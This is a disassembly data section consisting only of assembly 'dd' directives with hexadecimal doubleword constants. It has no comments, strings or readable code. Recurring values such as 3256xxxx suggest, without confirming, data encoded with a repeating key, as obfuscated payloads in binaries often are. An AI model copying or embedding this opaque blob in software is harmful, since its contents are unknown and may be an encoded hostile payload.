		dd 0DB5675D0h, 3256BAA1h, 1EC656B3h, 0F1A4B054h, 2108D89Ah
		dd 2F0DDA2h, 0B336D5B1h, 0AA04D562h, 325614EEh,	3D56BA4Dh
		dd 32564838h, 324647B1h, 0D08157B1h, 91B4C339h,	0E5125CBEh
		dd 8AD8BD54h, 3256AEA8h, 0CA56BA49h, 54365DB1h,	0B930603Ah
		dd 32563672h, 3256A258h, 0EA07E4B1h, 4D88CFBFh,	3256BC30h
		dd 45E6E8D1h, 32563CEEh, 0CE56AE44h, 3D3657B1h,	3256A931h
		dd 5337B5B1h, 325E02D1h, 0E9C475B1h, 835B0841h,	8D305A88h
		dd 520C52A7h, 3242BE48h, 9C6BABB1h, 5FF47E03h, 0C26419B7h
		dd 678FD472h, 459FB243h, 5337B8C6h, 6336AEB1h, 530C5805h
		dd 5436ABB1h, 0E17E0430h, 3256E359h, 89B272B1h,	0A3E04577h
		dd 0B9308D89h, 3237F766h, 0B65937B1h, 3256ABB1h, 53602431h
		dd 0B459EAB1h, 325675A5h, 3256B558h, 0A52F1BB1h, 0C543A96Ah
		dd 89479A71h, 7FF0164Ch, 3D36D5B1h, 0BD592D06h,	325675B0h
		dd 3256DB48h, 325AD5BEh, 0BC59AEB1h, 325657B7h,	325625BEh
		dd 3256D5B1h, 0EAE9E5D1h, 3237B407h, 325F53B1h,	0C9915DB1h
		dd 2BFACD91h, 32ABA216h, 325653B1h, 4BEEB3D1h, 538A5C3Fh
		dd 11F2CBD1h, 0DB36CC4Dh, 32565DB6h, 66A57E36h,	0DBB4DD5Eh
		dd 3256ABA1h, 653F1AECh, 2B78B13h, 85FF81FEh, 115A318Eh
		dd 32563CD0h, 32584744h, 467157B1h, 0B004F287h,	1BB9DCEBh
		dd 0CF7D33AEh, 34BF75B1h, 0DA56BAB1h, 0BB8FB0B5h, 3D56AE8Fh
		dd 3256563Ch, 32565EB1h, 5256D549h, 3256ED59h, 0FF1053B1h
		dd 2910F6F6h, 3256D4BEh, 540CAEB1h, 3237A63Ah, 325142B1h
		dd 0F6F1D5B1h, 44B7C5A6h, 3D567585h, 3256A837h,	325BB4B1h
		dd 4DDFAEB1h, 0C51C9F3h, 676F541Eh, 32142163h, 3ED1E5B1h
		dd 3D5675B1h, 3256BC3Ah, 32DD52B1h, 5256AEB1h, 0B22AA531h
		dd 3237DC6Bh, 0B3AFB5B1h, 0AA41D063h, 325614C9h, 3256AA58h
		dd 0E517F1B1h, 0FEF7E229h, 0B754A21Bh, 70A12C0Eh, 3D56D5D7h
		dd 3256F93Ah, 13E915B1h, 0DB0ED044h, 32565DB6h,	0EEAC5C4Eh
		dd 534E9EA2h, 0DB36ABB1h, 3256D5B8h, 39AA14CDh,	814360Bh
		dd 0CE374F77h, 0BE595DB1h, 3256AEA2h, 32565958h, 6BF604B1h
		dd 69D2B125h, 3BDFE07Ch, 0C76C3F8Dh, 26BFBAB1h,	8565DB1h
		dd 764EFF40h, 0CC01C205h, 9791E594h, 46F9BCEh, 3DB1F865h
		dd 32567E3Ah, 325053B1h, 0DA845DB1h, 0C33712Eh,	32AE57B1h
		dd 325A42B1h, 0C0FED5B1h, 2CEA36CCh, 0CF54483Ah, 325607CFh
		dd 3257D3BEh, 32AAAEB1h, 35BF37B1h, 0CB56ABB1h,	0FEEBE695h
		dd 0B9306F57h, 0B5591443h, 3256BAA2h, 325EB4D1h, 0B957AEB1h
		dd 0AC95A0EFh, 8930DD27h, 3237AB57h, 32561FB1h,	325AFDBEh
		dd 0B659BAB1h, 32565DB7h, 32562EBEh, 325657B1h,	32512ABEh
		dd 3D36D5B1h, 6D043B06h, 525675D0h, 23BE443Ah, 36565DB1h
		dd 0E55027C0h, 0E1DF3376h, 703BCD43h, 0ADCC5D85h, 325662BEh
		dd 530975B1h, 0DBAEBAB1h, 32565DB7h, 917247F9h,	32561318h
		dd 30D5A4D1h, 5256D5B1h, 530859D0h, 813675B1h, 3256DB18h
		dd 0B9A8D6D1h, 3256CF62h, 2BD55844h, 5256ABB1h,	22BFB4D1h
		dd 9C56EAB1h, 0F7B1EF71h, 99A76E5Ah, 0A3F7966Ah, 532522C0h
		dd 52A357B1h, 8930483Bh, 3237B21Ch, 33DFE5B1h, 0CE5675B1h
		dd 5436BAB1h, 5415D00Bh, 32375C3Ah, 3250BEB1h, 4CA7ABB1h
		dd 3CFD9F8h, 0B459EAB1h, 325675A0h, 3256B658h, 4EF4F5B1h
		dd 550815ADh, 0E073DDA9h, 21D5A495h, 0DB56D5B1h, 3256EABFh
		dd 6FDC55FDh, 0AF2AE349h, 8F660213h, 3256770Ah,	3D565748h
		dd 3256AC32h, 33D4DAB1h, 0CB56EAB1h, 3D3675B1h,	3256B934h
		dd 0EADD3BB1h, 3256A258h, 0E37DCAB1h, 5FD1FECDh, 34BADC68h
		dd 32568BADh, 37D57A48h, 5256BAB1h, 5385D649h, 32AAAEB1h
		dd 3253BEB1h, 3AE3ABB1h, 3D0421D3h, 3256ED38h, 33D87AB1h
		dd 0C756BAB1h, 0B7595DB1h, 3256AEA5h, 32565858h, 6DDEF4B1h
		dd 6EA07E77h, 0AB6F516Ch, 9509055h, 0B059BAB1h,	32565DB0h
		dd 3D56AE4Dh, 32565339h, 6806CBB1h, 3D56D5D0h, 3256E032h
		dd 0B65915B1h, 3256BAB1h, 3D376C06h, 3256A03Bh,	0B85937B1h
		dd 3256ABB1h, 325659BEh, 3237EAB1h, 32568CB1h, 3256B758h
		dd 7791F3B1h, 584EE9E8h, 1280CF00h, 6136FD85h, 531660EBh
		dd 3CBFEAB1h, 35675B1h,	0AC2D093Dh, 317531EFh, 730CE46Dh
		dd 3D5657C4h, 3256A538h, 0B359B5B1h, 3256EAB1h,	0B7DDA730h
		dd 0CE37E412h, 3FBF5DB1h, 0E756AEB1h, 5F492BDh,	0CD6F5270h
		dd 4E58A4F2h, 0BD59EAB1h, 325675B0h, 0DB56BA49h, 32565DB4h
		dd 31A39BB8h, 3D5657FFh, 3256B033h, 26BFB5B1h, 0C156EAB1h
		dd 53F1A0B4h, 0E78ADE9Dh, 0DA4C5D19h, 15909DA6h, 53BEE49Ah
		dd 3256AD58h, 0B6C3FEB1h, 321A0FDBh, 32AF80B1h,	38D1B5B1h
		dd 0DB565DB1h, 3256AEB4h, 6D2EB22Fh, 0DB56ABC7h, 3256D5B6h
		dd 8A89569Ah, 32C9FEE1h, 0C73642B1h, 5386E2BEh,	0B859AEB1h
		dd 325657AAh, 324325BEh, 22BFD5B1h, 3E56EAB1h, 0A9B29262h
		dd 2A20477Bh, 0DAB313C2h, 32F7ECD9h, 3FDC58B1h,	5256ABB1h
		dd 0F19854D7h, 32D5E5D7h, 535675B1h, 3256AA58h,	33B548B1h
		dd 9454728Ah, 0C531C4B5h, 0D13BEA13h, 3D56D5E8h, 3256F131h
		dd 22BE15B1h, 0EA56BAB1h, 0D2B28339h, 0B85F215Dh, 0AE61404Dh
		dd 6C632666h, 53EA1131h, 32AAEAB1h, 33D47AB1h, 0CE56BAB1h
		dd 35BF5DB1h, 4456AEB1h, 0D6802336h, 32563829h,	3256DF58h
		dd 0ABBB2EB1h, 0BE522C01h, 3271C5A5h, 26D952B1h, 0DB56AEB1h
		dd 325657BEh, 570B9286h, 3651C105h, 0F5965B93h,	322DE806h
		dd 0F9DDDAB1h, 32565858h, 1593D5B1h, 32379E51h,	38D8A4B1h
		dd 5256D5B1h, 548F61D7h, 4652B430h, 0CE56BAD0h,	34BF5DB1h
		dd 0AE56AEB1h, 1BA5388h, 3D56ABB4h, 3256D433h, 32561FB1h
		dd 3257F0BEh, 32AEBAB1h, 3FDB52B1h, 5256AEB1h, 0D8CD6D7h
		dd 32D7A4EEh, 5356D5B1h, 325761BEh, 32A375B1h, 3ED2B5B1h
		dd 3D565DB1h, 3256A833h, 32DB58B1h, 3256ABB1h, 3EDEDAB1h
		dd 3D56EAB1h, 32567339h, 32D9B5B1h, 52565DB1h, 325229BEh
		dd 8A3057B1h, 0C1D60C39h, 3256B4DFh, 0C0E9E5D1h, 0CA5675D0h
		dd 0BA59BAB1h, 32565DA0h, 3256A258h, 612977B1h,	0DC52786Ah
		dd 0ACFEA643h, 5256EADCh, 3254F5BEh, 0F3DDBAB1h, 8BAFE2D7h
		dd 0DA36CED0h, 325657BFh, 0AA44DC4Fh, 8352F930h, 9D199B23h
		dd 53082637h, 5256BAD0h, 88E93BD1h, 32DBA105h, 535657B1h
		dd 325F42D0h, 201CD5B1h, 4CD3317Ch, 52FED8C4h, 3256B358h
		dd 0BA7DF3B1h, 0E115AFEAh, 32BE899Dh, 6856ABB1h, 0A9B13F30h
		dd 39BFECABh, 0AA5675B1h, 0D213BD4h, 0E72F9FAh,	533631E6h
		dd 3251D6BEh, 0B759ABB1h
		dd 3256D5B0h, 0A3D36749h, 3D506C2Ah, 3256A332h,	21DE52B1h
		dd 0DB56AEB1h, 325657BFh, 0C9C90F25h, 4EBF2529h, 2876163Ch
		dd 0B0DF4539h, 344C3956h, 3248D3BEh, 0BE59AEB1h, 325657A9h
		dd 3256B858h, 5B198EB1h, 799A9A66h, 5E6112E2h, 42C1A27Bh
		dd 2472CBBDh, 56022C3Ch, 0B15951AAh, 3256ABB7h,	6037B5D1h
		dd 0B0DF8BEBh, 344CF1B5h, 325736BEh, 0DAAA5DB1h, 32569B2Bh
		dd 0DB20E7D1h, 3256ABBEh, 0ECAFD998h, 1E0AFD5Ah, 0D1BE2320h
		dd 537F781Bh, 306CB544h, 21BFAEB1h, 6B5657B1h, 1F6455EBh
		dd 0D4ED918Ch, 0A23466FBh, 346657CCh, 0B091AF29h, 344CDEEAh
		dd 3256AEB1h, 0F4A3054Dh, 265EE234h, 0BE5983B7h, 3256EAB6h
		dd 0DDD713D1h, 5A373DBAh, 0AEFEE5E3h, 325326BEh, 0CA3657B1h
		dd 0CD37CAD1h, 267AB004h, 33D9E5B7h, 0CA5675B1h, 4AA83F3Ch
		dd 0B2595BA6h, 3256AEBAh, 0F0E958D1h, 0E9567530h, 0CD37A6F0h
		dd 0B7DF1F61h, 34425EA4h, 5252D048h, 0B3369B3Bh, 8253AA5Bh
		dd 32DF58F6h, 5356ABB1h, 323E20D0h, 3D56EAA1h, 3256693Bh
		dd 24DFB5B1h, 0DB565DB1h, 3256AEA0h, 16C4D56Bh,	0D260C663h
		dd 0DA71E8BFh, 333B952Bh, 3F161D2Ch, 58A3BAB2h,	0E2A9A1B1h
		dd 3256A558h, 0CD9994B1h, 0CB33ABA8h, 0D94FBDD4h, 0F25D13EBh
		dd 337BF1BEh, 0B959BAB1h, 32565DB0h, 69D42748h,	52504D32h
		dd 7F8612D7h, 325758BEh, 53AEEAB1h, 3FD27AD1h, 0DB56BAB1h
		dd 32565DB9h, 7120B8DDh, 8D5728EFh, 325423BEh, 5336D5B1h
		dd 5DD463D0h, 0CB506F32h, 315BFA08h, 325CB4B1h,	5B69AEB1h
		dd 0C6150396h, 0FB69AE8Ch, 0DB362D3Ah, 3256EAA3h, 9D4384Bh
		dd 0F753D936h, 0A3D8F3F0h, 9842F791h, 0F0D7CEBCh, 62A113C2h
		dd 0C796E6D0h, 63364042h, 6391F4D7h, 0B930E428h, 0B2593C69h
		dd 3256AEB0h, 58A30549h, 323E53B5h, 5256D5A1h, 204554D7h
		dd 5A37B73Ah, 3256BEB1h, 3247B4D1h, 36D5AEB1h, 0AF86C62Fh
		dd 0CBA7F91Fh, 9818CB38h, 0DA375CBEh, 325675A3h, 578309B7h
		dd 56F5AC0Dh, 0DFD17BD4h, 0BF7AAF3Bh, 34BE881Dh, 0AF56D5B1h
		dd 75834F54h, 530E2E35h, 325132BEh, 0BD595DB1h,	3256AEB0h
		dd 3D563D49h, 3256AA3Eh, 0A0A929B1h, 3442C1A4h,	32D77AD1h
		dd 3D56BAB1h, 32565B3Eh, 32D6A1B1h, 535657B1h, 324442EBh
		dd 1597D5B1h, 3B50B9CDh, 0AB9D0632h, 4C9C1847h,	495A1EDDh
		dd 0B4842C38h, 53AF51ABh, 325128BEh, 8B36D5B1h,	562E6B4Bh
		dd 69D3FED0h, 0DB50A032h, 32565DA5h, 0CED56A92h, 0CF2C35EFh
		dd 7242F497h, 840FC78Fh, 0F6EE59CAh, 33D37A72h,	0C756BAB1h
		dd 0B259A1D1h, 3256AEB6h, 3257D9BEh, 0F5A3ABB1h, 26520033h
		dd 7256EAB7h, 36D37AB1h, 5256BAB1h, 0F53706E0h,	26443F33h
		dd 324657B7h, 0DB3757B1h, 3256D5BFh, 5B0BBFC3h,	0EC486CA4h
		dd 0A86B6993h, 5295EC83h, 0F8DD453Bh, 0B45937D0h, 3256ABBEh
		dd 3256DF58h, 0A522BCB1h, 0C16B379Dh, 0B97CECA2h, 28D5060Bh
		dd 0DD556B7h, 0F3D258B1h, 0DB56ABB1h, 3256D5BDh, 0B5722794h
		dd 55FCA3F3h, 39E093D5h, 30462232h, 32182ABEh, 0C7AA57B1h
		dd 3646D432h, 322A51BEh, 23BFEAB1h, 355675B1h, 3D89133Dh
		dd 0E0AC2D24h, 625F1B22h, 5DF66243h, 52426C32h,	0BE59023Ah
		dd 3256EAB3h, 0DB372BE3h, 3256BAA3h, 0EF7105B8h, 0B9C66EB5h
		dd 7E85B4EEh, 78A484A3h, 0BDBF8021h, 0CBA9154Eh, 33463276h
		dd 3D56BAB1h, 32565939h, 0FCDCCEB1h, 0CDE8BED0h, 0B659544Eh
		dd 3256D5B6h, 325761BEh, 0DBAA75B1h, 3256BAA3h,	58BAB098h
		dd 0A182930Ch, 8559C6C6h, 87FEBE4h, 759157AAh, 3256E9A1h
		dd 325D9CB1h, 6693BAB1h, 3AB40A18h, 542A82E8h, 0CD28BE76h
		dd 0C7AF544Eh, 3AD8DAD0h, 3D56EAB1h, 3256773Ch,	3D37DAB1h
		dd 3256443Ch, 324247B1h, 8A7B57B1h, 0DAD8AC1Fh,	0B83FAFAh
		dd 0A358C612h, 8EC51E11h, 0DB95FD56h, 32565DB7h, 0E3DB1530h
		dd 0DB03FD7Fh, 3256ABA3h, 9BAD6BCBh, 6B6D069Dh,	0ED58279Ch
		dd 47D117ABh, 0B9AE38BDh, 3FDEA15Dh, 0DB5657B1h, 3256ABB9h
		dd 0D29ECC06h, 0A39E0A11h, 3ED77AD1h, 3D56BAB1h, 32565B3Eh
		dd 32D2A1B1h, 0CB5657B1h, 3256AB59h, 0D8D78FB1h, 344C4A38h
		dd 3DA6FFD1h, 3256BB35h, 0CA37A5B1h, 0CBA425D1h, 0C6E4DCD0h
		dd 3D50B137h, 3256F23Ch, 3DBF8AB1h, 7C5675B1h, 9254644Fh
		dd 9112B843h, 0CD0C3E38h, 3EBF704Bh, 2356ABB1h,	0C93C8F9Ch
		dd 1B6FC114h, 53869340h, 8D59DAD1h, 537CE968h, 325522BEh
		dd 0EFD657B1h, 77DDCA8Ah, 34DF2CB9h, 54875FD1h,	5310DC0Fh
		dd 0B4A23832h, 0CB525BABh, 0B359CF48h, 325657BDh, 325021BEh
		dd 0B459D5B1h, 3256EAB1h, 9E31578h, 3694DB48h, 325FB4B1h
		dd 215BAEB1h, 0EF976439h, 525A2D3Fh, 32563D49h,	0B30CEAB1h
		dd 28F75B5Bh, 325B53B7h, 6FD65DB1h, 0EC31DA57h,	0DDA2D238h
		dd 0CB85EC9Bh, 3256D958h, 1FF854B1h, 0AA827150h, 0D4C34712h
		dd 0E0E4D60Dh, 5250B437h, 37DF5849h, 8C56ABB1h,	7E85061Bh
		dd 806D1FD0h, 344CF345h, 33383EBEh, 52365DB1h, 53AA6C3Bh
		dd 5268DCD0h, 539614BEh, 22BF0A3Ah, 0A56EAB1h, 0BC5CD55Bh
		dd 956EB444h, 0BBFF431Bh, 3DC1C1DFh, 3D571807h,	3256AC39h
		dd 33D1DAB1h, 0CE56EAB1h, 0B2573247h, 321C3FBEh, 52AA5DB1h
		dd 54047331h, 422EB730h, 0DB8FA8D0h, 3256D5BDh,	0B1A9AE6h
		dd 0E07D8E5h, 0FC61B343h, 32566B58h, 8436CEB1h,	5437AB08h
		dd 0E8806A30h, 27D0DAD0h, 0DB56EAB1h, 325675A1h, 420093F5h
		dd 84A3FB84h, 11689D3Eh, 0A9E18264h, 0BE59729Ah, 3256D5B6h
		dd 325762BEh, 71AA75B1h, 0E2E1B5D1h, 713702E1h,	21BD14D1h
		dd 50E81EC9h, 537B321Eh, 3256DF58h, 0CFD42DB1h,	8B82064Fh
		dd 0B9EF428Ch, 26780434h, 0BFDD57B7h, 34427DD4h, 16ECCBD1h
		dd 5458F1C1h, 53011409h, 7CEC13E6h, 937E3D1h, 76D45269h
		dd 0CA56AEB1h, 0B5598E8Ah, 3256AB8Ah, 3256D958h, 89E474B1h
		dd 86183535h, 0EB011C16h, 3690DEC2h, 325C47D1h,	6E3C57B1h
		dd 6DF73AC0h, 1F092088h, 0CC8A03D0h, 3EBF8A4Eh,	156BAB1h
		dd 9A75FEA7h, 694D91Fh,	90A9CB9h, 0FD2A47Eh, 0CE56D5B1h
		dd 18335738h, 23BF73A5h, 8D56BAB1h, 3005C515h, 5391E4F2h
		dd 0EBBABD7Dh, 0FFEAAA9Bh, 0CDA85958h, 0DCD78A4Eh, 0FA23257h
		dd 32543DBEh, 69015DB1h, 325047D0h, 0D03057B1h,	7EA2AFB0h
		dd 325E3CD0h, 0D2BAEAB1h, 0BB126E15h, 0DB950542h, 32565DA2h
		dd 0CCFED96h, 0FC7BCA78h, 4447259Fh, 9FFBED55h,	52E75421h
		dd 32569D48h, 0B30CBAB1h, 28F54B5Bh, 325B47B7h,	8BB757B1h
		dd 5795BF31h, 98E967EBh, 3DE558B7h, 32566037h, 324653B1h
		dd 0C7A25DB1h, 0E92B451Dh, 15BF0A64h, 1D9C3665h, 0B659D92Bh
		dd 3256EAB0h, 0E0ECFE49h, 0DB50A037h, 32565DA3h, 0ED042A8Ch
		dd 0EA9878CFh, 202E5954h, 48365E72h, 54367AC2h,	54B8230Eh
		dd 0EC275930h, 3356E4D0h, 3DBFAEB1h, 8B5657B1h,	17F1E22Ah
		dd 44CDE55Ch, 92A2628Fh, 52369405h, 4C53E80Fh, 0E5E952DBh
		dd 0F265CFD0h, 32565C58h, 0D0D75DB1h, 0B3AAA9B3h, 41F8E619h
		dd 35BFDE42h, 0FC56BAB1h, 18ACC5A4h, 0B0DDC495h, 344CD163h
		dd 0BB375ED1h, 28D02133h, 26DAE5B7h, 525675B1h,	0EEB65930h
		dd 35BF5965h, 7156AEB1h, 5EAE1DDBh, 53371F44h, 0B8591644h
		dd 3256EAA2h, 32567B58h, 0F68BDDB1h, 0F0A5CBA4h, 74A218E9h
		dd 5291EBC2h, 325C21BEh
		dd 37BFD5B1h, 1156EAB1h, 0ED0F18B6h, 3256BA59h,	0D8D707B1h
		dd 344C0AA8h, 3246BED1h, 64E4ABB1h, 0DC7EA03Ah,	2C9F3B3Fh
		dd 806E26BFh, 8D597274h, 0F4AE3C4Bh, 265EE734h,	5AAE01B7h
		dd 0E649C688h, 3256C558h, 13ED4FB1h, 42E52626h,	46E4BB79h
		dd 995FA3E2h, 57E35162h, 3D50439Dh, 3256AA33h, 0B7DB20B1h
		dd 3441924Fh, 0CADD13D1h, 3256B159h, 0F1B5D2B1h, 69B37D9Bh
		dd 0E0CC0A3Dh, 0CD37F149h, 24D1DA61h, 0DB56EAB1h, 325675A0h
		dd 4EBA65E1h, 0C73F317h, 54F8070Ch, 8D5A70E0h, 0B359F935h
		dd 3256D5B0h, 3DBFBA49h, 9E5675B1h, 41A5A7E7h, 43A06B8Ah
		dd 17676E5Ah, 323E54C6h, 3D56AB31h, 3256D23Fh, 33DBE5B1h
		dd 0CA5675B1h, 38BFBADBh, 3E565DB1h, 0ACDEB664h, 109709FCh
		dd 69E4543Dh, 0DB50CF32h, 3256EAB6h, 0CD86D68Ch, 0CDE312E1h
		dd 86EF3D61h, 0DB32C3C0h, 325657B7h, 9E43119Ch,	3D378E3Ah
		dd 3256E038h, 0B93015B1h, 0D43A0169h, 6A376B89h, 5AAFF444h
		dd 3256D7B1h, 325E27BEh, 0BD59D5B1h, 3256EAB3h,	323C14D1h
		dd 3256B158h, 0E23E4BB1h, 5308C33Bh, 76957274h,	0B484194Eh
		dd 8536D3ABh, 32590296h, 0DAE775B1h, 76678BC5h,	0C961510Eh
		dd 0D0A07781h, 6BBAE2C0h, 0DB8654D0h, 3256D5B6h, 36A4F340h
		dd 0DBE8019Eh, 3256BABDh, 9608BBF6h, 1A0D6FB8h,	607613F5h
		dd 34BFCBD0h, 0AA56D5B1h, 0CE5DE477h, 0CAE17A37h, 0B05979D0h
		dd 32565DB6h, 325720BEh, 67AF57B1h, 0DEDD5E4Dh,	3256C558h
		dd 1FFB2B1h, 0E3C8B121h, 0A15C2C8h, 907D6533h, 0B059CE5Ch
		dd 325657B6h, 0DFEDCDD1h, 0DA372954h, 3256EAB1h, 0E2BCF4EBh
		dd 3D50A014h, 3256453Fh, 324547B1h, 31FB57B1h, 0D9ED5C77h
		dd 0BE627303h, 6F59FD15h, 7722B95Ah, 20D5B519h,	0DB565DB1h
		dd 3256AEBCh, 60A32D9Bh, 0B6B19857h, 83FDE28Dh,	3259035Eh
		dd 0C04D75B1h, 0F6CC0D2Fh, 3ADA05E9h, 0ED8C6D62h, 3A23DC47h
		dd 32572CBEh, 0DAAAD5B1h, 3256E452h, 22BF2044h,	0BE56BAB1h
		dd 41B8BA9Ch, 40420FF5h, 45B13BB3h, 0CD307A64h,	28D53223h
		dd 520B1FB7h, 476D1448h, 0E2D3B5BDh, 0C7A9A24Eh, 32581C59h
		dd 3246BEB1h, 8F0FABB1h, 3CD6A65Bh, 7890262Ch, 68D31ADDh
		dd 52377FE3h, 7BA1DCD7h, 3D9FCF5Fh, 3256463Eh, 325A42B1h
		dd 53A2D5B1h, 9EEEA132h, 80464F2Dh, 3A94ACDCh, 325DB4B1h
		dd 5E63AEB1h, 11EBBF71h, 7C069E13h, 0B2368035h,	34BFCF51h
		dd 1C5675B1h, 84B0151Eh, 0DEDD3C8Bh, 32572EBEh,	0B1AF57B1h
		dd 3EBF5775h, 1B56D5B1h, 0B98F5506h, 0CE7AAC27h, 641D47E0h
		dd 61AE0A44h, 32564648h, 0B30C57B1h, 28F0495Bh,	325F3CB7h
		dd 4090EAB1h, 57B8745Dh, 0DBC74736h, 32565DA0h,	9C4668B3h
		dd 49D2D35Eh, 0ADF23FA8h, 0DBA64D4Ah, 3A2361CDh, 3245F7BEh
		dd 0B959BAB1h, 32565DBCh, 3256A658h, 0E73333B1h, 0CADC4636h
		dd 37D6DA9Dh, 5256EAB1h, 5344A131h, 5246C73Ah, 52013C44h
		dd 3256A359h, 0A082E1B1h, 0FD5FD167h, 0AA573BD4h, 34BFB5F7h
		dd 0C25675B1h, 66AA3B79h, 64370437h, 2AD0A148h,	0DB5657B1h
		dd 3256ABA2h, 3C87184h,	530C68Ah, 1F5A4894h, 38031BD6h
		dd 0DA1B8D90h, 3256AFDEh, 32564658h, 67625EB1h,	3BD76A9Eh
		dd 0B73DD815h, 6D1E12FFh, 0F25D3937h, 32E0D9BEh, 0BA59AEB1h
		dd 325657A1h, 3256A058h, 0C54EFFB1h, 268F047Ch,	3A024B9Bh
		dd 34BF423Ah, 0F5565DB1h, 0D589FFFFh, 0B45902C1h, 3256ABB9h
		dd 325455BEh, 5336EAB1h, 0B1B1E74Eh, 0BC59BCABh, 32565DB0h
		dd 0B159F34Dh, 325657B0h, 3E239048h, 323051BEh,	0B059EAB1h
		dd 325675A2h, 3256B458h, 0A5927AB1h, 2E170DCDh,	74203Fh
		dd 54E34F98h, 0B459CB3Ah, 3256EAB9h, 3254FBBEh,	5336BAB1h
		dd 3DA6BA31h, 3256AF3Dh, 2CDCAEB1h, 3ADFA448h, 3D56D5B1h
		dd 3256E83Dh, 0B23715B1h, 3DAA4A52h, 3256563Eh,	0B559CEB1h
		dd 325657B1h, 538520D7h, 32707759h, 0D5BF16B1h,	0CBA98A4Fh
		dd 52AAC738h, 0CEAED6D7h, 325947D0h, 0EC1257B1h, 9234D7F9h
		dd 0B2260EA3h, 0CB6293D4h, 0C4FD9DC7h, 0BC59454Eh, 32565DA1h
		dd 3256A558h, 39BDA5B1h, 7BE511EAh, 3D5C769Eh, 325303EAh
		dd 654875B1h, 6D6A9DB0h, 35D75244h, 3D56AEB1h, 3256563Ch
		dd 0C7085EB1h, 52AA903Ah, 3256E258h, 0A34493B1h, 927DFCEDh
		dd 325AB4F4h, 1AB1AEB1h, 15D267A1h, 0E8E8E0F8h,	0FB3795BDh
		dd 325765BEh, 0F0AF75B1h, 0DB36BABDh, 32565DBDh, 18B4B770h
		dd 0F34E13CDh, 7712AC65h, 325650BEh, 6737EAB1h,	0F3E615D1h
		dd 0FC9B6530h, 0DB37550Fh, 3256AEBFh, 47099A5Fh, 14AA0065h
		dd 0F09DB3C9h, 0B9370471h, 8401155Dh, 3CBFE3E4h, 85565DB1h
		dd 36E4DF4Eh, 0E009ADEh, 91529DD8h, 0F6D5B478h,	3D011349h
		dd 32567432h, 0DB004FB1h, 32565DB9h, 34E034C8h,	0D249C87h
		dd 0C70552E0h, 32AE9076h, 5256EAB1h, 3D94FED1h,	3256BA32h
		dd 0C2D73CB1h, 1B2C9092h, 35D490D0h, 3350B137h,	0DB56D5B1h
		dd 3256EAB4h, 3693335Fh, 3A233159h, 2CDD3B44h, 3251474Dh
		dd 0F9BD57B1h, 0B382D020h, 69EC5EE1h, 0DB50F032h, 325675B4h
		dd 92CE314Ah, 6DDDA1D9h, 0E95D57B9h, 32D7D3BEh,	0BD59ABB1h
		dd 3256D5BAh, 0F1DD8CD1h, 61ED8330h, 937F68Ah, 0DD3526Fh
		dd 0C756AEB1h, 3D5A0A3Ah, 3256BC34h, 23DBDAB1h,	0DB56EAB1h
		dd 325675BDh, 0A617D1EFh, 28EA251Dh, 0C8C6475Dh, 3D5A0838h
		dd 3256AA3Ch, 0BB5929B1h, 3256EABFh, 32DB7AD1h,	0B356BAB1h
		dd 2143677h, 0F5D5CFF3h, 33DA58A5h, 0CA56ABB1h,	0CDA95858h
		dd 0BA598A4Eh, 325675B7h, 325638BEh, 0F9D75DB1h, 696C7E11h
		dd 0C3DD37D0h, 5437593Ah, 3DBFCB3Ah, 3356EAB1h,	0BF5B23EDh
		dd 93A5B1D2h, 2FB8D498h, 0B2AAD1AAh, 0B659BF4Ah, 3256A849h
		dd 0C9D6B4D1h, 0DFD2E558h, 525675B2h, 0ED146D30h, 0B4596B6Bh
		dd 3256AEB3h, 0B2372C05h, 0B659404Ah, 3256D665h, 3256E358h
		dd 0F1B43DB1h, 0AF79596Ah, 3EBF2D12h, 0BC56AEB1h, 438D4E09h
		dd 0AA1BA3E7h, 0B27F0D33h, 0B659084Ah, 32567637h, 0D1AD3A48h
		dd 311AD9BEh, 0BC59AEB1h, 325657B9h, 32542DBEh,	5336D5B1h
		dd 55AD6BD7h, 51D27A52h, 0CB56BAB2h, 3DA6BA31h,	3256B634h
		dd 3245BEB1h, 4DF9ABB1h, 0F4C8A6D9h, 0E14D1B15h, 9B76F4F5h
		dd 0E6BFE25Ah, 0C9D73B1Eh, 0B6592EBEh, 325654EDh, 32472FBEh
		dd 3EBFD5B1h, 2856EAB1h, 38A89794h, 0D49FB3ADh,	0B2545C09h
		dd 0B2AF5E52h, 0B659274Ah, 3256A889h, 3256C658h, 8C5084B1h
		dd 0A28512DEh, 0F36EE295h, 6659E5C5h, 6286009Ah, 2CDD314Dh
		dd 0C0E414D1h, 3D36CD82h, 3256EA3Eh, 0B23714B1h, 21BF4252h
		dd 86565DB1h, 0C03C9576h, 0A71D0906h, 7A025515h, 0B7EE0FB3h
		dd 0C9D6940Ch, 0A8D27A09h, 3D56BAB0h, 32565539h, 30D2A1B1h
		dd 525657B1h, 37682BD0h, 33D551BEh, 26BFEAB1h, 5675B1h
		dd 0F11E7105h, 4939DF08h, 326B7FABh, 0F1E1DA28h, 0B2D3A66Fh
		dd 0B659F88Fh, 3256EBD0h, 32566458h, 906ED9B1h,	398CDADDh
		dd 0E55F7C79h, 5A3C7EA1h, 0CD60205h, 70D2DAD9h,	0DB56EAB0h
		dd 325675B9h, 0EC00A5B1h, 468CCB5Bh, 0B4512C4Eh, 0B15951ABh
		dd 3256ABBDh, 32505DBEh, 0B459EAB1h, 325675B1h,	3256B058h
		dd 0CE620BB1h, 902D39A8h, 543D466Ch, 8436B53Ah,	589155A8h
		dd 38DAE5D0h, 0DB5675B1h, 3256BAB4h, 10D76BBDh,	0CAB12E7Dh
		dd 3251DBBEh, 0BA59ABB1h
		dd 3256D5B0h, 0C9D78C48h, 0B6599D30h, 3256BA68h, 33D25244h
		dd 0CA56AEB1h, 0CA48DCD7h, 3DA64C31h, 3256C83Ch, 25D4E5B1h
		dd 0DB5675B1h, 3256BAA3h, 0B446F3DAh, 0AAA6B1Fh, 46F1F5A4h
		dd 6526C307h, 0B3302AC2h, 3D966B4Ah, 3256E935h,	3CD6B5B1h
		dd 52565DB1h, 325627BEh, 0B75957B1h, 3256ABB1h,	67AFB5D0h
		dd 3256E258h, 86E311B1h, 47FA0515h, 0D5C4A292h,	0CB50B432h
		dd 0B859ABECh, 3256ABA9h, 3256C658h, 0A58C21B1h, 4EF8AAB3h
		dd 1D732359h, 0C73FA0FEh, 2382E5BEh, 3DAA1238h,	3256BA3Fh
		dd 35BEB5B1h, 0C156EAB1h, 0D0FE125Fh, 8408CCD2h, 3D373C4Ch
		dd 3256BF3Dh, 325ABEB1h, 4203ABB1h, 0BA4598Bh, 8FE0533h
		dd 4FD53A25h, 0B759BB4Dh, 32565F83h, 325A47D1h,	671257B1h
